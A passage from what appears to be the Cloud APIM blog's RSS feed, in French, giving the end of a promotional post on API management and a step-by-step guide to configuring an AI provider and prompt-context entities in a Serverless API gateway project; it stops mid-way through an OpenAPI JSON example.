&lt;p&gt;Investir dans des solutions d’API management robustes est indispensable pour rester &lt;strong&gt;compétitif&lt;/strong&gt; dans le paysage numérique actuel.&lt;/p&gt;
&lt;p&gt;Adoptez l’API management pour saisir de nouvelles opportunités, gagner en efficacité et apporter une &lt;strong&gt;valeur&lt;/strong&gt; exceptionnelle à vos &lt;strong&gt;clients&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-lancez-vous-dès-maintenant&quot;&gt;&lt;strong&gt;🚀 Lancez-vous dès maintenant&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Prêt à vous lancer avec &lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Inscrivez-vous dès maintenant&lt;/strong&gt;&lt;/a&gt; et faites le premier pas vers un &lt;strong&gt;API management&lt;/strong&gt; sécurisé et efficace !&lt;/p&gt;
&lt;h3 id=&quot;-vidéos-youtube&quot;&gt;&lt;strong&gt;🎥 Vidéos YouTube&lt;/strong&gt;&lt;/h3&gt;
&lt;p class=&quot;embed embed-link&quot;&gt;&lt;a href=&quot;https://www.youtube.com/@CloudAPIM&quot;&gt;https://www.youtube.com/@CloudAPIM&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;-restez-informé&quot;&gt;&lt;strong&gt;📡 Restez informé&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et de l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>Cloud APIM</category><category>API</category><category>API management</category><category>Reverse proxy</category><category>API gateway</category><category>Les bases des API</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.yDdNpu3I_1Yf3hk.jpg" length="0" type="image/jpeg"/></item><item><title>🚀 Libérez tout le potentiel de votre API gateway avec l&apos;IA : un guide simple pour créer votre première AI Gateway 🤖</title><link>https://blog.cloud-apim.com/creez-votre-premiere-ai-gateway</link><guid isPermaLink="true">https://blog.cloud-apim.com/creez-votre-premiere-ai-gateway</guid><description>Avec l&apos;IA, votre API gateway gagne en fonctionnalités, en sécurité et en expérience utilisateur. Ce guide vous accompagne pour créer votre première AI Gateway.</description><pubDate>Mon, 08 Jul 2024 14:18:38 GMT</pubDate><content:encoded>&lt;p&gt;Aujourd’hui, l’&lt;strong&gt;IA&lt;/strong&gt; révolutionne notre façon d’interagir avec la technologie.&lt;/p&gt;
&lt;p&gt;L’une de ses applications les plus puissantes concerne nos API gateways : l’IA peut y enrichir les fonctionnalités, renforcer la sécurité et améliorer l’expérience utilisateur.&lt;/p&gt;
&lt;p&gt;Dans ce nouvel article, nous vous guidons pas à pas dans la création de vos premières entités de fournisseur d’IA et de contexte, pour tirer parti de l’IA dans votre API management.&lt;/p&gt;
&lt;h2 id=&quot;guide-pas-à-pas-pour-créer-vos-entités-de-fournisseur-dia-et-de-contexte&quot;&gt;Guide pas à pas pour créer vos entités de fournisseur d’IA et de contexte&lt;/h2&gt;
&lt;h3 id=&quot;1-créez-votre-projet-serverless&quot;&gt;1. Créez votre projet Serverless&lt;/h3&gt;
&lt;p&gt;Commencez par vous inscrire sur &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; et créez votre premier projet pour utiliser nos plugins d’IA.&lt;/p&gt;
&lt;p&gt;Si vous n’en avez pas encore créé, suivez ces étapes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rendez-vous sur &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;https://www.cloud-apim.com/fr&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connectez-vous à votre &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;tableau de bord Cloud APIM Serverless&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur &lt;em&gt;« New project »&lt;/em&gt; et saisissez le nom de votre projet.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-clonez-ou-forkez-notre-dépôt-git&quot;&gt;2. Clonez ou forkez notre dépôt Git&lt;/h3&gt;
&lt;p&gt;Rendez-vous sur notre dépôt modèle pour les plugins d’IA &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example&quot;&gt;https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Clonez-le&lt;/strong&gt; ou &lt;strong&gt;forkez-le&lt;/strong&gt; vers votre dépôt personnel.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; clone&lt;/span&gt;&lt;span&gt; https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example.git&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ce dépôt hébergera toute la configuration de votre projet &lt;strong&gt;Serverless&lt;/strong&gt; 😁&lt;/p&gt;
&lt;h3 id=&quot;3-choisissez-votre-fournisseur-dia&quot;&gt;3. Choisissez votre fournisseur d’IA&lt;/h3&gt;
&lt;p&gt;Cloud APIM prend en charge plusieurs fournisseurs, utilisables via ses plugins :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OpenAI&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Azure OpenAI&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ollama&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mistral&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Anthropic&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Récupérez votre token d’API afin de configurer l’entité AI Provider dans votre projet &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;4-configurez-vos-variables-denvironnement&quot;&gt;4. Configurez vos variables d’environnement&lt;/h3&gt;
&lt;p&gt;Sécurisons maintenant le token d’API de votre fournisseur d’IA.&lt;/p&gt;
&lt;p&gt;Pour cela, nous allons utiliser une variable d’environnement définie comme variable secrète de votre projet.&lt;/p&gt;
&lt;p&gt;Allez sur le tableau de bord de votre projet et cliquez sur &lt;em&gt;« Create a new environment variable »&lt;/em&gt;. Nommez-la, par exemple, &lt;code&gt;AI_PROVIDER_TOKEN&lt;/code&gt; et collez le token de votre fournisseur d’IA dans le champ de valeur, sous le nom.&lt;/p&gt;
&lt;p&gt;Il ne reste plus qu’à enregistrer !&lt;/p&gt;
&lt;h3 id=&quot;5-configurez-votre-entité-ai-provider&quot;&gt;5. Configurez votre entité AI Provider&lt;/h3&gt;
&lt;p&gt;Rendez-vous maintenant dans votre fichier &lt;code&gt;entities/ai.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ouvrez-le : vous allez y renseigner le nom de votre fournisseur et le token associé.&lt;/p&gt;
&lt;p&gt;Mettez à jour la propriété &lt;code&gt;&quot;provider&quot;&lt;/code&gt; ; par défaut, nous avons défini &lt;code&gt;&quot;provider&quot; : &quot;openai&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Mettez ensuite à jour la propriété &lt;code&gt;connection&lt;/code&gt; en ajoutant l’URL de l’endpoint de l’API et la propriété &lt;code&gt;token&lt;/code&gt;, liée au nom de votre variable d’environnement.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Par exemple&lt;/em&gt; : &lt;code&gt;&quot;token&quot;: &quot;${environment.AI_PROVIDER_TOKEN}&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Enfin, définissez le modèle que vous souhaitez utiliser en mettant à jour la propriété options.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Exemple&lt;/em&gt; avec le modèle GPT 3.5 Turbo : &lt;code&gt;&quot;model&quot;: &quot;gpt-3.5-turbo&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Voici un exemple d’entité « &lt;strong&gt;AiProvider&lt;/strong&gt; » :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;_loc&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;tenant&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;teams&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;provider-openai&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;OpenAI&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;description&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;metadata&quot;&lt;/span&gt;&lt;span&gt;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;provider&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;openai&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;connection&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;base_url&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https://api.openai.com&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;token&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;${environment.AI_PROVIDER_TOKEN}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;timeout&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;30000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;options&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;model&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;gpt-3.5-turbo&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;frequency_penalty&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;logit_bias&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;logprobs&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;top_logprobs&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;max_tokens&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;n&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;presence_penalty&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;response_format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;seed&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;stop&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;stream&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;temperature&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;top_p&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;tools&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;tool_choice&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;user&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;kind&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AiProvider&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;N’oubliez pas&lt;/strong&gt; de créer et d’adapter votre variable d’environnement pour utiliser le token de votre fournisseur d’IA.&lt;/p&gt;
&lt;p&gt;Dans notre démonstration, nous avons choisi &lt;code&gt;AI_PROVIDER_TOKEN&lt;/code&gt; comme nom de variable d’environnement.&lt;/p&gt;
&lt;p&gt;Vous pouvez aussi stocker dans vos variables d’environnement l’URL de base de l’API, comme &lt;code&gt;https://api.openai.com&lt;/code&gt; pour OpenAI, ou encore le modèle à utiliser.&lt;/p&gt;
&lt;h3 id=&quot;6-créez-lentité-de-contexte&quot;&gt;6. Créez l’entité de contexte&lt;/h3&gt;
&lt;p&gt;Dans votre fichier &lt;code&gt;entities/ai.json&lt;/code&gt;, ajoutez une entité « &lt;strong&gt;AiPromptContext&lt;/strong&gt; ».&lt;/p&gt;
&lt;p&gt;Voici un exemple d’entité « &lt;strong&gt;AiPromptContext&lt;/strong&gt; » :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;_loc&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;tenant&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;teams&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;ai-context&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AI Context&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;description&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;metadata&quot;&lt;/span&gt;&lt;span&gt;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;messages&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            &quot;role&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;system&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            &quot;content&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Cloud APIM is a french company that provides API Management as a Service through managed Otoroshi instances, Serverless projects, etc&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;kind&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AiPromptContext&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;7-créez-votre-endpoint-dapi&quot;&gt;7. Créez votre endpoint d’API&lt;/h3&gt;
&lt;p&gt;N’oubliez pas d’ajouter le plugin LLM proxy à votre route de contexte !&lt;/p&gt;
&lt;p&gt;Voici un exemple OpenAPI qui utilise le plugin « &lt;strong&gt;AiPromptContext&lt;/strong&gt; ».&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;openapi&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;3.1.0&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;info&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;title&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AI Plugins for Cloud-APIM Serverless Projects&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;version&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;1.0.0&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;description&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;An easy getting started project template to use AI in your Cloud-APIM Serverless projects&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;contact&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Cloud APIM Default contact address&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;url&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https://www.cloud-apim.com&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;email&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;contact@cloud-apim.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;x-logo-none&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;url&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https://www.cloud-apim.com/assets/logo/cloud-apim-logo-inverted.png&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;paths&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;/context&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;post&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;summary&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;operationId&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;getAIContext&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;x-cloud-apim-backend&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;$ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;#/components/x-cloud-apim-backends/mirror&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;x-cloud-apim-plugins&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;$ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;#/components/x-cloud-apim-plugins/context&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;components&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;x-cloud-apim-plugins&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
